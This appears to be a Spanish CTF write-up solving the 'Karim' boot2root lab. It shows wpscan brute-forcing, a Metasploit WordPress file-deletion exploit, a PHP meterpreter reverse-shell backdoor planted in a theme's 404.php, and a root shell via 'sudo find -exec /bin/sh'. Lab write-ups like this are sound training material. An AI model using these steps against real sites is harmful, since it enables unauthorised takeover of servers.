Solución al reto 27: Boot2root Karim

{0x0} Introducción

Karim es un reto de tipo boot2root, que consiste en una máquina que debemos vulnerar para conseguir las flags de usuario (user.txt) y root (root.txt) suministrada por HackPlayers en su Reto 27 y creada por César Calderón aka @_stuxnet basada en Linux Ubuntu 17.10 OS, os mostraremos los pasos que hemos dado.

{0x1} Reconocimiento

Antes de empezar ponemos nuestra máquina de pentesting Kali Linux en Host-Only y la máquina hackplayers en Host-Only dentro del rango de red 192.168.153.0/24.

Y vamos a la tarea, lanzamos primeramente descubrimos la nuestra dirección IP y de la  máquina hackplayers a vulnerar



Y comprobamos que hay conexión con la máquina a vulnerar lanzado un ping:


{0x3} Escaneo

Realizamos un escaneo de puertos para comprobar los servicios que están abiertos y corriendo en la máquina a vulnerar:


Observamos que en el puerto 80 hay un servidor Apache y en el 3306 un servidor de db mysql.

{0x4} Enumeración

Arrojamos dirb sobre el servicio web en la URL http://192.168.153.129.

Detectamos que está accesible http://192.168.153.129/index.html y que hay corriendo un gestor de contenido Wordpress en http://192.168.153.129/wordpress . Arrojamos http sobre la primera URL y obtenemos:


Por lo que nos centraremos en el Wordpress. Utilizaremos la tool wpscan >_https://github.com/wpscanteam/wpscan . Clonamos el repositorio de github y pasamos al lanzar ./wpscan.rb -u http://192.168.153.129/wordpress -e vt,tt,u,ap --log wpscan.log:


Detectamos una vulnerabilidad que podremos explotar identificada como WordPress <= 4.9.6 - Authenticated Arbitrary File Deletion y también hemos encontrado dos usuarios 1. adminstux y 2. haxorhackplayers.

Para poder explotar la vulnerabilidad de Wordpress CVE-2018-12895 necesitaremos la password de uno de los dos usuarios de Wordpress que hemos detectado. Por lo que nos sugiere la situación de lanzar un ataque de fuerza bruta con el diccionario rockyou.txt sobre los dos usuarios arrojando el siguiente comando

./wpscan.rb -u http://192.168.153.129/wordpress --username adminstux --wordlist /usr/share/wordlists/rockyou.txt donde no obtenemos resultados.

Y pasamos a lanzar ./wpscan.rb -u http://192.168.153.129/wordpress --username haxorhackplayers --wordlist /usr/share/wordlists/rockyou.txt


Ya tenemos una posible contraseña para el usuario haxorplayers que es lovestuck.

{0x5} Acceso

Pasamos a explotar la vulnerabilidad de Wordpress a traves de metasploit lanzando lo siguiente msfconsole y use auxiliary/scanner/http/wp_arbitrary_file_deletion quedando configurado de esta manera


El exploit ha funcionado y pasamos a comprobarlo en la URL http://192.168.153.129/wordpress observando que hemos eliminado el wp-config.php y el Wordpress no solicita una instalación desde cero.

A partir de este punto pasamos a su configuración pero no poseemos los datos de acceso a la base de datos de mysql de la máquina a vulnerar lo que nos obliga a montar un servicio remoto de mysql en nuestra máquina Kali.

No queremos aburriros con la configuración segura del servidor mysql en nuestra máquina de Kali pero lo más importante es que nuestro servicio esté abierto a través del puerto 3306 en la IP 192.168.153.128 de forma que modificamos el siguiente archivo:

root@kali:/etc/mysql/mariadb.conf.d# nano 50-server.cnf

y en la siguiente línea

bind-address            = 192.168.153.128

Y pasamos a realizar un systemctl restart mysql y comprobamos que en el puerto 3306 el servicio funciona.


Bien comprobado que el servidor mysql está abierto y funcionando pasamos a crear una database y un user llamado wpuser con password 1234, otorgandole privilegios sobre la db creada.


Pasamos de nuevo a http://192.168.153.129/wordpress y ya podemos introducir los datos de conexión con la base de datos remota llamada wordpress y ubicada en el servidor 192.168.153.128 con las credenciales wpuser y pass 1234. No debería existir ningún problema para seguir los pasos de configuración del Wordpress.

Vamos como se puede generar una backdoor PHP en Wordpress http://www.hackingarticles.in/wordpress-penetration-testing-using-wpscan-metasploit/

Pasamos a generar el script PHP con msfvenom


Copiamos el código desde <?php … hasta die; y lo pegamos en el editor de Wordpress en la plantilla de 404.php


Por otro lado montamos una shell reversa con metasploit de la siguiente manera con
use exploit/multi/handler y set payload php/meterpreter/reverse_tcp


Visitando http://192.168.153.129/wordpress/wp-content/themes/twentyseventeen/404.php en nuestro navegador recibiremos conexión inversa y obtenemos la sesión en meterpreter de la máquina a vulnerar.


Conseguimos user.txt > hackplayers{s3nd_nud3s_fl@g} y pasamos al siguiente


{0x6} – Escalada de Privilegios (privesc)

Buscamos por internet que existe el Exploiting SUDO para la elevación de privilegios en Linux en el artículo:

https://www.andreafortuna.org/cybersecurity/exploiting-sudo-for-linux-privilege-escalation/


Arrojamos
meterpreter > shell
....
sudo -l
User www-data may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/find
sudo find /etc/passwd -exec /bin/sh \;
whoami
root


Yeah! Ya somos root de la máquina a vulnerar y solo nos queda buscar el root.txt

Y ahí está root.txt > hackplayers{nud3s_fl@g}


Autor: 1v4n a.k.a. @1r0Dm48O

Comentarios

Publicar un comentario